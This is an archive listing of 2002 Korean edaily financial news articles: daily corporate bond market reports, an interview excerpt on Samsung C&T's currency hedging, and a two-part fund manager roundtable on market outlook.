사내선물환 시스템, 자금입출금 시스템을 링크시켜 영업에서 창출되는 모든 자금은 사내 선물환 시스템을 거치지 않으면 아무리 급한 자금도 출금되지 않도록 개선했습니다. 삼성물산 사내선물환 제도는 선지급과 후지급, 이종통화 등 부서별로 다양한 영업흐름을 유형화해 적용한 것이 경쟁력으로 꼽히고 있고 새로운 영업형태가 생기면 바로 유형화가 가능해 지속적으로 업그레이드가 되고 있습니다. - 100% 헤지를 하다보면 눈에 보이는 환차익도 못 얻을수 있을텐데요. ▲처음에는 100% 헤지하는 것에 대해 답답한 점도 있었지만 전사적으로 포지션을 관리하다보니 한 부서가 한쪽에서 이익보면 다른 부서는 그 쪽에서 손실을 보게 되는 걸 알았습니다. 정유사 등과 달리 한방향으로 포지션을 가져갈 수 없는 입장이라 어떤 상황에서도 흔들리지 않는 리스크 관리가 중요한 것이죠. 또 하루 주문이 100~400개 정도에 달하는 데 시스템상에서 자동처리되고 항상 모니터링을 하고 있어 누락이나 실수로 인한 포지션 오픈이 상당히 줄어 수익성에도 도움이 되고 있습니다. (하편으로 이어집니다)
2002.06.04 I 최현석 기자
  • (회사채)LG카드 등 디지털옵션채 발행..은행권도 활발(마감)
  • [edaily 최현석기자] 29일 회사채 시장에서는 LG카드와 한국동서발전 등의 디지털 옵션채 발행이 눈길을 끌었다. 금융회사들의 발행도 활발했으나 거래는 KT EB외에는 활발하지 않은 모습이었다. 발행시장에서는 AAA 한국동서발전은 국내 최초로 원화표시 디지털옵션 채권 3년물을 CD-32bp인 4.5%에 1200억원 발행했다. 동서발전은 시티, 도이체, 한미은행 등과 스왑계약을 체결해 CD금리가 6.75%를 넘지않을 경우 은행이 투자자들에게 7.65%를 고정 지급하고, 6.75%를 넘어면 2.5%를 지급토록 했다. AA+ 부산교통공단 5년물 -36bp인 7.05%에 목표액 200억원보다 줄인 100억 발행했다. 부산교통공단은 내일중 100억원 발행하거나 이월할 계획이다. AA LG카드도 3년물 디지털옵션 채권 3년물을 CD+10bp인 4.93%에 300억원 발행했다. LG카드는 시티은행과 스왑계약을 체결해 CD금리가 7%를 넘지않을 경우 7.75%를, 넘을 경우 2.5%를 지급하도록 했다. LG카드는 4년물 무보증사채도 -32bp인 7.10%에 200억원 발행했다. 이밖에 전날 발행을 연기했던 AAA 국민은행은 -13bp인 5.60%에 1300억월 발행했고 한미은행 1년물은 -10bp인 5.63% 1000억원 발행됐다. 최근 지속적으로 1~3년물을 발행하고 있는 AA+ 조흥은행은 이날도 1, 2, 3년물을 500억원, 900억원, 7000억원 발행해 이달들어 약 1조원에 달하는 발행규모를 기록하고 있다. 우리은행도 1년물을 전날에 이어 -12bp인 5.67%에 1000억원 발행했다. 유통시장에서는 AAA KT EB 3년물이 1만575~1만585원 사이에서 활발하게 거래됐으나 1년1개월 무보증사채는 5.55%에 매도가 나왔으나 거래되지 않았다. AA 삼성카드 9개월물은 -11bp인 5.27%에 팔자가 나왔고 AA- 삼성캐피탈 10개월물은 5.49%에 거래됐다. A 동양제철 4년2개월물이 -66bp에 팔자가 나왔으나 금리가 너무 낮은 것으로 시장에 받아들여지며 체결되지 않았다. BBB 한화 2년2개월물은 -188bp 수준인 7.63%에 팔자가 나왔다. 이밖에 A SK글로벌 2년5개월물은 -38bp인 6.60%에 거래됐고 A- 현대중공업 2년2개월물은 -34bp인 6.71%에 거래됐다. 기업어음 시장에서는 A1 외환카드 2개월물이 4.75%에 매출발행됐고 국민건강보험 1개월물은 4.72%에 할인발행됐다. A2+ 삼성물산 1일물은 4.50%에 거래됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일보다 5bp와 4bp 낮은 7.03%와 10.99%다. 기업어음 91일물은 보합인 4.89%다. *5월29일 회사채 거래내역 (단위: bp)
2002.05.29 I 최현석 기자
  • (회사채)외환은행 등급상승 기대..기은 등 신종FRN발행(마감)
  • [edaily 최현석기자] 28일 회사채 시장에서는 은행권의 채권 발행이 잇따랐다. AA- 등급인 외환은행 은행채가 두단계 등급 위인 조흥, 우리은행과 비슷한 수준으로 발행되며 등급 상승 가능성을 시사했다. 기업은행과 삼성캐피탈은 신종 변동금리부채권(FRN)을 발행, 주목을 끌었다. 발행시장에서는 AAA 중금채(기업은행) 100억원이 3년물 인버스 FRN으로 12.8-CD에 발행된 후 자체 스왑을 통해 6.56%로 고정됐다. 1년물 중금채는 5.60%에 900억원 발행됐다. 한미은행 1년물은 -7bp인 5.64% 100억원 발행됐다. AA+ 조흥은행 1, 2, 3년물이 전날에 이어 -15bp 수준인 5.67%, 6.36%, 6.76% 수준에 100억원, 500억원, 700억원 등 총 1300억원 발행됐다. 조흥은행은 향후 금리상승에 대비해 장기자금을 미리 확보하는 차원에서 최근 은행채 발행을 늘려 이달들어 약 7000억원 규모로 발행했다. 동급 우리은행 1년물도 전날에 이어 -10bp인 5.68%에 600억원 발행됐다. 두단계 아래인 AA- 외환은행 1년물과 3년물은 -11bp인 5.68%와 -14bp인 6.78% 수준으로 각각 1000억원과 3000억원 발행됐다. 외환은행 관계자는 "요즘 시장에서 대형 시중은행들의 등급을 같이 보고 있는 것 같다"며 "등급 심사를 신청한 상태라 등급상승을 기대한다"고 말했다. AA 삼성카드 3년 인버스 FRN이 12.7-CD인 7.87% 수준에서 400억원 규모로 발행추진됐으나 카드대금 입금일이라 발행이 연기됐다. 삼성카드는 이달중 발행 계획으로 잡고 있으나 마땅한 수요처가 아직 등장하지 않고 있는 것으로 알려졌다. AA- 삼성캐피탈 듀얼FRN 5년물은 전날과 같이 첫 2년간 5.2+2*(IRS 5년-CD), 후 3년간은 4.45+2*(IRS 5년-CD)로 300억원 추가 발행됐으며 첫 3개월간 금리는 9.30%가 적용됐다. 유통시장에서는 지난주 발행된 AAA KT 3년물 EB는 2.46%인 1만570원에 16억원가량 거래됐고 7개월물은 -10bp인 5.24%에 팔자가 나와 거래가 안됐다. AA LG카드 2개월물은 4.85% 수준에서 팔자가 나왔다. BBB 한화석유화학 2년8개월물은 -200bp인 7.90%에 팔자가 나왔고 전날 등급이 한단계 하락한 BBB- 동부한농화학 FRN이 국고3년+70bp 수준에서 팔자가 나왔다. 투기등급인 BB+ 영풍산업 1년2개월물은 10%대에서 팔자가 나왔으나 거래되지 않았다. 매수측에서는 A- 한진해운 FRN에 대해 국고3년-15bp 수준에서 사자가 나왔다. 이밖에 AAA 포스코 2개월물이 100bp인 4.82%에 거래됐고 KT EB는 235bp인 2.35%에 거래됐다. A SK글로벌 9개월물은 -33bp인 5.53%에 거래됐고 BBB- 두산건설 2년8개월물은 -246bp인 8.37%에 거래됐다. 기업어음 시장에서는 A2 연합캐피탈 2주일물이 4.60%에 매출발행됐고 A2- SK C&C 2일물은 4.55%에 매출발행됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이틀째 이전거래일과 보합인 7.08%와 11.03%다. 기업어음 91일물은 1bp 낮은 4.89%다. *5월28일 회사채 거래내역 (단위: bp)
2002.05.28 I 최현석 기자
  • (회사채)삼성카드 FRN 발행 계획..KT EB 거래 열기(마감)
  • [edaily 최현석기자] 27일 오전 회사채 시장은 KT EB(교환사채) 거래 열기로 뜨거웠다. 발행시장에서는 AAA 국민은행 1년물은 5.60%에 500억원 발행을 추진했으나 발행되지는 않았다. AA+ SK텔레콤 3년물은 -25bp인 6.74%에 2500억원 발행됐다. 조흥은행은 이날도 1, 2, 3년물을 -15bp 수준인 5.67% 6.36% 6.78%에 500억원과 100억원, 900억원 등 총 1500억원 발행했고 우리은행도 1년물을 -10bp인 5.69%에 1000억원 발행했다. A+ 현대캐피탈 2년물은 -30bp인 6.68%에 200억원, 2년6개월물은 -31bp인 6.90%에 100억원 각각 발행됐다. 당초 1년6개월물도 6.13% 수준에서 발행될 예정이었으나 호가차이로 발행되지 않았다. BBB- 현대건설 1년물은 3년물기준 시평인 11.03%에 245억원 발행됐다. BB 금호산업 1년물 무보증사채는 11.50%에 480억원, 한창제지 1년물은 대우증권 보증하에 30bp인 7.52%에 2900억원 발행됐다. AA 삼성카드는 -27bp인 6.87%에 500억원 발행했고 이달 내 변동금리채권(FRN) 2년물을 CD금리에 30bp 정도를 더한 수준에서 발행할 계획이나 매수측 스프레드가 40bp 정도로 높아 발행을 연기하고 있다. AA- 삼성캐피탈 듀얼 FRN은 첫 2년간 5.2+2*(5년IRS-CD), 다음 3년간 4.45+2*(5년IRS-CD) 금리를 적용해 발행됐고 3개월간 적용되는 첫 쿠폰은 9.30%가 적용됐다. 유통시장에서는 KT EB 공모주가 10560원부터 거래를 시작해 10690원까지 올랐고 종가는 10625원을 기록했으며 10700원에도 일부 거래된 것으로 파악됐다. LG전자가 내놓은 EB 1800억원은 은행고유계정으로 일부 흘러들어간 것으로 알려지고 있다. A+ 삼성물산 7개월물은 -16bp인 5.27%에 거래됐고 BBB+ INI스틸 4개월물은 -81bp인 5.27%에 거래됐다. BBB- 동부제강 2년1개월물은 -157bp인 8.90%에 거래됐다. 기업어음 시장에서는 A1 LG카드 자산유동화 기업어음(ABCP) 3개월물이 4.88%에 할인발행됐고 국민카드 ABCP 3개월물은 4.88%에 할인발행됐다. 동급 SK 1개월물은 4.70%에, 삼성카드 1개월물은 4.72%에 매출 발행됐으며, 국민건강보험 15일물은 4.65%에 거래됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일과 보합인 7.08%와 11.03%다. 기업어음 91일물 역시 보합인 4.90%다. *5월27일 회사채 거래내역 (단위: bp)
2002.05.27 I 최현석 기자
  • (회사채)KT EB 60억 선네고..현대중 500억 블록딜(마감)
  • [edaily 최현석기자] 24일 회사채 시장에서는 KT EB 거래가 눈길을 끌었다. 25일 발행될 KT EB는 모 증권사를 중개인으로 해 10700원에 60억원 어치가 거래됐다. 일부 증권사들은 10500원에 매수호가를 부르기도 했다. 발행시장에서는 AAA 국민은행 1년물이 -10bp인 5.63%에 1300억원 발행됐고 한미은행 1년물은 -9bp 5.64%에 500억원 발행됐다. AA+ 조흥은행 1, 2, 3년물은 각각 5.67%, 6.38%, 6.76%에 200억원과 600억원, 700억원 발행됐다. AA- 신세계 3년물은 -38bp인 6.70%에 1000억원 발행됐고 A+ 현대캐피탈 2년물과 2년6개월물은 -35bp인 6.63%와 6.86%에 발행됐다. BBB 한화석유화학 FRN 3년물은 국고3년+60bp에 700억원 발행됐고 BBB- 동일토건 변동금리부사채(FRN) 3년물은 국고3년+185bp인 8.16%에 100억원, 2년물 무보증사채는 -125bp인 9.17%에 250억원 발행됐다. BB 성도 2년물은 140bp에 400억원 발행됐다. 유통시장에서는 A- 현대중공업 1년9개월물이 -30bp인 6.53%에 500억원이 한꺼번에 거래되며 눈길을 끌었다. AA- 우리신용카드 1년5개월물은 -19bp인 6.05%에 팔자가 나왔고 AAA 하나은행 6개월물에 대해서도 팔자주문이 나왔다. 이밖에 A+ 현대자동차와 삼성물산 9개월물은 -21bp인 5.43%와 -26bp인 5.44%에 거래됐다. 이날 신용등급이 한단계 상향조정된 A- 현대산업개발 기업어음 시장에서는 A1 SK 1개월물이 4.70%에 매출발행됐고 외환카드 2개월물과 3개월물은 4.78%와 4.88%에 할인발행됐다. 동급 국민건강보험 38일물은 4.80%에 매출발행됐다. A2- 기은캐피탈 3개월물은 4.90%에 할인발행됐다. LG전선 7일물은 4.60%에 거래됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일과 보합인 7.08%와 11.03%다. 기업어음 91일물은 1bp 하락한 4.90%다. *5월24일 회사채 거래내역 (단위: bp)
2002.05.24 I 최현석 기자
  • (회사채)삼성·국민카드 발행..포철 등 거래(마감)
  • [edaily 최현석기자] 9일 회사채 시장에서는 카드사들의 채권 발행이 많았다. 국민카드와 삼성카드는 발행시장과 유통시장 모두에서 인기를 끌었고 삼성물산 등 삼성그룹 관계사들의 회사채도 거래가 많이 이뤄졌다. 21일로 예정된 KT 교환사채(EB) 입찰을 준비하느라 회사채 거래에 대한 관심이 줄어들고 있다. 발행시장에서는 AA 국민카드 2년물이 -10bp인 6.60%에 1000억원 발행됐고 삼성카드 2년물은 -12bp인 6.58%에 500억원 발행됐다. A+ 현대캐피탈은 2~3년물을 전날과 같은 -28bp 수준에서 500억원 발행을 추진하다 금리차로 연기했으나 오후장 늦게 재추진해 -21bp인 6.85%에 발행했다. 현대캐피탈은 다음주부터 이달말까지 1700~2000억원쯤 추가 발행할 계획이다. BB 동양종금증권 2년물 후순위채는 9%에 고정돼 100억원 발행됐다. 한 회사채 발행 담당자는 "오전중 금리급등으로 발행이 어려웠으나 오후장들어 금리가 내려 발행이 다소 용이해졌다"고 말했다. 유통시장에서는 AAA 국민은행 8개월물이 5.39%에 팔자가 나왔고 AA 삼성카드 10개월물이 -12bp인 5.54%에 팔자가 나왔다. 증권사 한 중개인은 "KT EB 청약 일자가 많이 남은 편이나 미리 준비하느라 회사채 거래에 크게 신경을 쏟지 못하고 있다"고 말했다. 이밖에 AAA 포항제철 1년8개월물은 -8bp인 6.20%에 거래됐다. A- 삼성에버랜드 7개월물은 -41bp인 5.40%에 거래됐고 동급 삼성중공업 5개월물은 -40bp인 5.30%에 거래됐다. 기업어음 시장에서는 3개월물에 대해 4.90% 수준에서 매수가 보였다. A1 외환카드 78일물이 4.90%에 할인발행됐다. 동급 SK 1개월물은 4.65%에 거래됐고 LG카드 ABCP 3개월물은 4.95%에 거래됐다. A2- 기은캐피탈 94일물은 4.92%에 거래됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일보다 2bp 오른 7.18%와 11.15%다. 기업어음 91일물은 4bp 오른 4.88%다. *5월9일 회사채 거래내역 (단위: bp)
2002.05.09 I 최현석 기자
  • (edaily증권좌담)"최선의 운용전략은 우량주"(하)
  • [edaily정리=박성호기자]<상편에서 이어집니다> (사회)=최근 종합주가지수가 800-900대를 넘나들고 있습니다. 펀드운용전략에는 변화가 없습니까. ▲이팀장=최근 수익이 많이 나면서 환매의 요구가 커질 수 있다고 생각하지만 실상은 다릅니다. 현재 본인이 운용하는 펀드수익률은 70%에 달하는데 환매요구가 없습니다. 지난해 말부터 들어온 자금은 양질의 자금이라고 판단됩니다. 장기투자자금이라는 말입니다. 최근 환매요구 자금은 2, 3년 전에 들어온 것입니다. 펀드 관리도 과거와 많이 달라졌습니다. 개인의 카리스마가 아니라 리서치와 컨플라이언스 등에 의해 시스템적으로 운용되고 있습니다. 선진기법에 육박해 있습니다. 이는 개인의 단편적 시각으로 펀드가 운용되지 않는다는 것을 의미합니다. 또 지수대별로도 펀드운용이 달라지지는 않습니다. 시장의 분석툴이 달라졌기 때문입니다. 철저한 가치투자가 자리를 잡았기 때문에 펀드운용에 있어서 지수대는 중요한 것이 아닙니다. 자금유출입에 따라 매매는 달라질 수 있지만 투자근간은 같다고 봅니다. ▲이과장 = 수익률은 상당히 주관적입니다. 설정시점 등에 따라서 달라집니다. 개인은 목표수익률과 펀드간 상대적 수익률을 비교하고 있습니다. 즉, 이익을 내고 있는 펀드 투자자들은 조바심을 내지 않는다는 뜻입니다. 오히려 플랫(수익률제로) 수준에 있는 투자자들의 환매욕구가 높습니다. 그러나 환매해도 마땅히 다른 곳에 투자할 데가 없다는 점이 자금을 투신권에 묶어 놓고 있다고 봅니다. ▲백 부본부장 = 동감입니다. 최근 지수가 900포인트에 달했을 때 역사적 신고가 종목이 넘쳐났습니다. 그러나 개인투자자 선호 대중주 중 챠트가 무너진 종목이 많습니다. 삼성물산, 삼보컴퓨터 등 개인투자자 선호 종목들도 펀더멘털이 뒷받침되지 않을 경우 바로 미끄러져 있다는 사실을 보여주고 있습니다. 즉, 차별화 장세가 진행되고 있는 것입니다. 최근 증시 조정은 LG그룹 문제와 미 증시 약세가 울고 싶을 때 뺨 때린 격입니다. 시장이 선진화돼가고 있다는 점은 중요하지만 지수대별로 펀드운용에 변화가 생기지는 않습니다. (사회)=주식시장이 조정을 보이고 있어 투자자들이 불안해하고 있습니다. 지수조정이 마무리되고 다시 시장이 상승세로 돌아선다면 개인투자자들은 어떤 테마주에 관심을 가져야 할까요. ▲백 부본부장=상반기에는 경기회복에 대한 기대감이 포함돼 있습니다. 그러나 지금 우리나라 기업들이 설비투자에 대한 의지가 크지 않습니다. 공장 가동률이 올라간 상황에서도 아직은 설비투자에 대해 조심스럽게 운신하고 있는 것 같습니다. 일정수준까지는 경기관련주 중 우량주에 관심을 가지고 하반기로 갈수록 부분적으로 부품 등 설비투자 관련주에 투자관심을 전이시킬 필요가 있습니다. 펀드매니저들도 4분기 정도로 갈수록 IT주쪽에 예의주시하고 있습니다. 상황변화가 일어나면 IT쪽에 계속 관심을 둘 수 밖에 없는 실정입니다. ▲이과장=경기회복 수혜주(수출관련 제조업체)가 테마라면 테마입니다. 과거처럼 시시때때로 변하는 테마의 의미가 퇴색하고 있는 것이 현실입니다. 기업가치와 수익이 증가하는 기업을 테마주로 봐야 할 것입니다. ▲이팀장=테마주나 투자패션이 많이 사라졌다는데 동감합니다. 이는 정석투자가 자리를 잡고 있다는 말이기도 합니다. 그러나 경기관련주, 즉 경기회복시 수익을 큰 폭으로 증가시킬 수 있는 종목주가가 강세를 보일 것입니다. 다시말해 경기회복 수혜를 크게 볼 수 있는 종목들이 테마주인 셈입니다. (사회)=지난해말이후 주식시장이 상승세를 타면서 대형우량주들이 상당한 수익률을 시현했습니다. 상대적으로 개인투자자들이 선호하는 중소형주는 소외되고 있는 것 같습니다. 펀드들이 중소형주를 배제하는 인상도 짙는데 그 배경은 무엇입니까. ▲이과장=중소형주와 대형주 구분을 떠나서 우량기업 주가는 다 올랐습니다. 실적이 뒷받침되는 종목은 절대주가만 다를 뿐 주가에 반영되고 있습니다. 즉, 주가면에서 우량 중소형주는 가격 메리트가 별로 없습니다. 특히 펀드운용규모가 크면 자본금이 적은 종목은 많이 편입할 수 없는 것이 현실입니다. 유동성을 감안해야 하기 때문이죠. 펀드별 1%만 돼도 1개 종목에 대한 주식수가 너무 많아집니다. 그러나 펀드매니저들은 현재도 알져지지 않은 우량주를 개발하기 위해 일주일에 3, 4회 직접 기업탐방을 하고 있습니다. ▲이팀장=투자할 때 시가총액와 유동주식수, 즉 기업규모를 무시할 수는 없습니다. 회사가 좋고 성장성도 좋지만 자본금이 작아서 투자하기 못하는 종목이 있는 것은 사실입니다. 그러나 펀드에서 투자를 못해도 그같은 종목은 개인이나 소형운영사들에 의해 주가상승폭이 커질 수 있습니다. 개인적으로는 우량 중소형주에 대한 개념 재정립이 필요하다고 봅니다. 현재 발생하는 이익이 아니라 향후 얼마나 많은 수익성을 낼수 있는 회사냐에 따라서 면밀한 관찰이 필요한 시점입니다. 한가지 아이템으로 이익이 급증한 종목은 우량주가 아닙니다 ▲백 부본부장=중소형 우량주에 대해서는 좀 더 새로운 시각이 필요합니다. 종목을 그룹핑하는 기준을 달리해야 한다고 생각합니다. 과거와 같이 수출주와 내수주로 구분되서도, 해서도 안됩니다. 3년후에 3배 성장할 수 있는 알짜배기 기업을 찾아나가고 그같은 종목이 그룹화되는 과정에 있다고 판단합니다. 이를 반영하듯 태평양 등을 보면 시세의 안정적 상승세가 확보돼 있습니다. 펀드에서도 중소형주라고 비토하지는 않습니다. 유동성을 갖춘 중소형주도 있다. 그러나 매크로(거시적 관점)하게 보면 기업의 변화가 어떤 순서로 이뤄지고 있는냐가 중요합니다. 다시말해 기업의 구조조정, 경영의 질적경영(수익성위주) 등의 변화가 큰 회사부터 시작되고 있다는 것입니다. 펀드의 주식투자는 타이밍 싸움일 수 있기 때문에 변화의 순서 관점에서도 업종대표주를 선호하는 것입니다. (사회)=최근의 증시급락은 외국인의 매도강화로 풀이됩니다. 향후 외국인의 움직임과 시장의 핫이슈로 부상하고 있는 원화강세에 대한 시장영향을 말씀해 주십시요. ▲이팀장=원달러화의 가치 상승은 경기회복시 필연적입니다. 경기회복시 금리와 환율이 그대로 있을 수는 없습니다. 단기적으로 외국인매매와 수출기업 등에 부정적 영향을 줄 수 있지만 장기트렌드로 볼 때 국내경제회복추세에 큰 영향을 주지 못할 것이며 단기충격에 불과할 것으로 봅니다. 지난 3월 외국인 투자자들 만났을 때 환율은 헤지펀드 등의 관심사일 뿐 장기투자자들의 근본적인 한국시장에 대한 긍정적 시각은 유효하다는 점을 확인할 수 있었습니다. ▲백 부본부장=외국인 매도세는 이익실현 차원이라고 판단합니다. 환율은 가을까지 5% 가량 절상될 수 있다고 시장은 예측하고 있습니다. 약 1230~1240원 정도수준입니다. 그리고 외국인투자자도 하나의 시장참여자로 봐야지 단기악재로 시장을 이탈할 수 있다는 국외자로 인식해 과민하게 해서는 안될 것입니다. (사회)=시장일각에서는 국내 기관투자가들이 외국인에 비해 오히려 역차별을 받고 있다는 지적도 나오고 있습니다. 펀드를 운용하면서 불필요하게 느끼는 규제나 펀드운용을 제약하는 규제는 무엇인지 마지막으로 말씀해 주십시요. ▲모든 참석자=삼성전자 투자비중이 6개월 단위로 설정돼 있습니다. 지난 6개월 동안 시가총액의 가중평균을 가지고 향후 6개월 동안의 투자비중을 제약하는 것은 바람직하지 않습니다. 외국인과 비교해 기관투자자들에 대한 역차별적 규제로 지적될 수 있는 부분입니다. 시스템의 전산화가 돼 있는 만큼 삼성전자 포지션은 최소한 월별단위로 조정돼야 합니다. 또 현재 펀드의 종목당 10% 투자제한 같은 문제들도 기관의 리스크관리체제가 갖춰져 있는 만큼 해제해도 아무 문제가 될 것 없을 것입니다. 특히 펀드투자에 대한 규제는 간접투자시장의 장기적인 발전을 위해 포지티브시스템에서 네거티브시스템으로 정비돼야 한다고 봅니다. (사회)=오랜시간 고맙습니다.
2002.04.30 I 박성호 기자
  • (edaily증권좌담)"환매 없어, 지수조정은 보약"(상)
  • [edaily정리=박성호기자]주식시장이 외국인의 매도 전환으로 깊은 조정장세를 보이고 있다. 시장의 관심은 외국인의 향후 매도강도와 함께 기관화장세를 이끌어온 기관투자가들이 얼마나 시장받치기를 지속해 줄 것인가에 모아지고 있다. 물론 기관투자가의 시장안전판 역할 지속여부는 주식형 펀드의 자금유입상황에 달려있다. 지난 주초 일부펀드의 환매가 주식시장을 긴장시켰던 것도 이런 까닭이다. edaily는 투자자들이 가장 궁금하게 생각하는 주식형펀드의 자금유출입 현황과 시장전망, 운용전략, 유망종목 등을 짚어보기위해 기관화장세의 첨병역할을 하는 대표적인 3대투신운용사의 주식운용팀장들을 초정해 긴급 증권좌담회를 마련했다. 29일 낮 edaily 편집회의실에서 열린 이번 좌담회에는 백승삼 현대투자신탁운용 운용제2부본부 부본부장, 이형복 한국투자신탁운용 주식운용1본부 팀장, 이경호 대한투자신탁운용 주식운용1팀 과장(무순)이 참석했고 임관호 edaily증권부 팀장의 사회로 진행됐다. 좌담회 내용을 상, 하로 나눠 싣는다. (사회)=외국인이 5일째 매도를 하는 가운데 그나마 기관들의 매수세로 시장이 낙폭을 줄이고 있습니다. 최근 일부펀드에서 환매가 있는 걸로 알고 있는데 시중자금의 최근 투신권 자금유입현황은 어떻습니까. ▲백승삼 현대투신운용 제2본부 부본부장 = 최근 우려하고 있는 환매러시는 지난해 9월말 이래로 650포인트 이하에서와 최근 800포인트가 넘어서면서 일어났습니다. 그러나 이것은 원본 회복에 따른 일시적 현상으로 파악되고 있습니다. 개인자금은 1분기가 지나면서 순유입되고 있다고 판단해도 될 것입니다. 최근 일자별로 순유입과 순유출이 반복된 것은 몇몇 기관들이 자금 환매 후 재가입을 유치했기 때문입니다. 투자자들은 99년과 2000년 이후 마켓에 대해서 새로운 인식을 하고 있습니다. 많은 투자자들의 수준이 과거에 비해 상당히 높아졌습니다. 관련정보들을 예전과 달리 효율적이고 리얼타임으로 제공받고 있기 때문입니다. 조정장세가 진행될수록 개인자금의 순유입폭이 커질 것으로 예상하고 있습니다. 또 충분한 조정을 거친 후 900선에 재돌입한다면 시중자금은 이 후에도 계속 들어올 것으로 전망됩니다. 특히 기관화장세에 대해 기대와 현실이 다른 것은 대부분의 공공성격의 자금들이 안정형 상품에 주로 유입되고 있고 자금유입금액하고 실제 매수여력하고는 차이가 많기 때문입니다. 한편 개인자금의 본격적인 유입은 다소 시간이 걸릴 것으로 보입니다. 간접펀드시장으로 개인자금의 본격적인 유입은 간접투자상품인 펀드들이 직접투자보다 안정하고 수익이 좋다는 인식이 좀더 확산돼야 한다고 생각합니다. ▲이경호 대투운용 주식운용1팀 과장 = 대한투자증권에도 큰 환매는 없었습니다. 일각에서 우려하고 있는 일반투자자들의 환매문제는 걱정할 필요는 없습니다. 일반투자자들은 원본 회복후에도 거의 환매를 하지 않고 있으며 일부 환매자금도 대기자금으로 그대로 재매수를 기다리고 있는 실정입니다. 또 최근의 투신권의 매도는 환매에 의한 것은 아닙니다. 단, 일반법인의 경우 일정 수익률를 달성하며 빠져나가는 것이 사실이지만 큰 변화는 아직까지 없습니다. 개인투자자들이 현명해 졌다는 의견에는 저도 공감합니다. 요즈음의 투자자들은 쉽게 흥분하지 않는다는 것이 예전과 다른 모습입니다. 만약 지난 99년에 현 지수대와 주변환경이 조성됐다면 자금은 물불을 안가리고 증시에 쏟아져 들어오고 대중주 시세가 분출했을 것입니다. 그런 투자자들의 모습은 찾아보기가 힘들정도로 투자자들이 많이 성숙했습니다. 개인투자자들이 많이 성숙해졌기 때문에 간접투자상품의 수익률 우위가 확산되면 결국은 간접투자상품으로 관심을 돌릴 것이라고 생각합니다. 그 시기는 그리 오래 걸리지 않을 것이라고 봅니다. ▲이형복 한투운용 주식운용1본부 팀장 = 최근 환매에 따른 투신권 매수가 제한된 것은 일부 사실이라고 봅니다. 지수 900포인트를 넘으면서 원본회복펀드가 많았고 환매요구도 많았습니다. 신규자금은 900포인트 이상에서 공격적으로 들어오지 않습니다. 최근 주가하락 후에는 신규자금이 다시 유입하고 있습니다. 증시의 변동성이 커지면서 시중자금도 눈치를 보는 것이 뚜렷해졌습니다. 단기적으로 900포인트이상이면 환매 우위, 900포인트 이하에서는 유입 우위의 모습을 보이고 있는 것이 그것을 반영하고 있습니다. 따라서 현재의 장세가 약세조정을 받을수록 유입강도도 커질 것으로 전망됩니다. 미국증시 급락으로 최근 시장이 급락세를 보이고 있지만 추가급락은 힘들다고 생각합니다. 급락 할수록 저가에 매수할려는 자금이 많이 들어와 시장을 받칠 것이기 때문입니다. (사회)=주식형 간접투자상품으로의 자금유입 속도가 다소 둔화됐습니다. 간접투자상품으로 본격적인 시중자금유입을 어렵게하는 걸림돌은 무엇이라 생각하십니까. ▲백 부본부장 = 우선 시중에 자금이 많이 풀려있지만 IMF 이후 빠른 변화를 소화해낼수 있도록 간접투자시장의 시스템도 변화가 필요합니다. 상품 종류와 상품구조 등에서 다양한 변화가 일어나야 합니다. 이를 위해서는 펀드평가기관의 권위가 서야 합니다. 예를 들어 운용회사들의 안정성, 성장형 등에 대한 기준통일부터 돼야 올바른 펀드평가가 가능해 질 것입니다. 운용회사와 판매회사의 역할정립도 필요한 시점입니다. 판매회사가 판매 뿐 아니라 판매후 투자자들과의 적극적인 상담을 해 나가는 에프터서비스시스템을 갖춰야 합니다.그래야 간접투자상품에 대한 개인투자자들의 인식이 제고될 것입니다. ▲이팀장 = 시중자금이 본격적으로 유입이 안되는 것은 어찌보면 바람적인 현상이라고도 할 수 있습니다. 그만큼 투자자들이 맹목적인 투자를 안하고 신중해졌다고 할 수 있습니다. 따라서 신중한 투자자들이 결국은 간접투자상품의 안정성을 조만간 인정할 것으로 보입니다. 단지 인식전환을 위한 시간이 필요할 뿐입니다. 두 번째는 정부 억제 정책에도 불구, 부동산투자에 대한 기대가 여전히 크다는 점입니다. 현재 부동산의 보합세는 장기상승을 위한 조정이라는 시각이 지배적입니다. 부동산시장에 대한 투자매력도가 여전히 높다는 얘기입니다. 이런 까닭에 여전히 부동산시장에 머물고 있는 자금이 주식시장으로 방향을 돌리지 않는 것입니다. 물론 부동산에 대한 안정자산 인식도 한몫 하고 있습니다. 세 번째는 경기회복에 대한 불확실성이 아직까지는 해소되지 않았다는 것입니다. 선거 등 정치적 요인들로 인해 투자자들이 본격적인 경기회복에 반신반의하고 있는 실정입니다. (사회)=연초만해도 종합주가지수 1000포인트 돌파가 대세였는데 최근의 시장조정으로 분위기가 많이 희석된 느낌입니다. 언제쯤 종합지수 1000 돌파가 가능하겠습니까. 올해 한국증시는 과연 레벨업이 가능하겠습니까. ▲이팀장 = 상반기까지 1000포인트 달성이 가능할 것이라는 생각은 변함이 없습니다. 경기회복 추세에 대해서도 아무도 이의를 다는 사람은 없습니다. 단, 수급이 중요합니다. 모두가 공감하지만 2, 3년전처럼 상장기업의 무차별적 유상증자는 없을 것이라는 점이 긍정적입니다. 수급에서는 큰 문제가 없을 것으로 전망됩니다. 또한 최근의 외국인 매도세도 비관적으로 볼 필요는 없을 것으로 보입니다. 지난 3월 만나 본 홍콩, 싱가폴의 외국투자자들에서 느낀 점은 이들이 코리아마켓에 대해서는 믿고 있는 분위기 였고 매도 한다해도 차익실현정도에 그칠 것이라는 점이었습니다. 외국인투자가의 시각자체도 여전히 우호적이었습니다. 시장의 수급은 앞으로도 탄탄할 것으로 기대합니다. 기업의 체질개선도 중요하게 생각해야 합니다. 삼성전자는 경기하락기였던 지난해에도 수 조원의 이익을 낸 명실공히 흔들림없는 세계적인 기업이 됐습니다. 향후 주가지수를 낙관하게 근거는 삼성전자외에도 기업들의 ROE혁명, 기업들의 일류화, 구조조정의 성공(재무재표) 등 많습니다. 이런 점들이 과거 1000포인트 박스권을 뛰어넘을수 있도록 만드는 원동력이 될 것입니다. 그러나 시장이 과열되지 않는 범위 내에서 경기회복과 함께 꾸준히 올라가야 합니다. 그래야 문제가 없습니다. 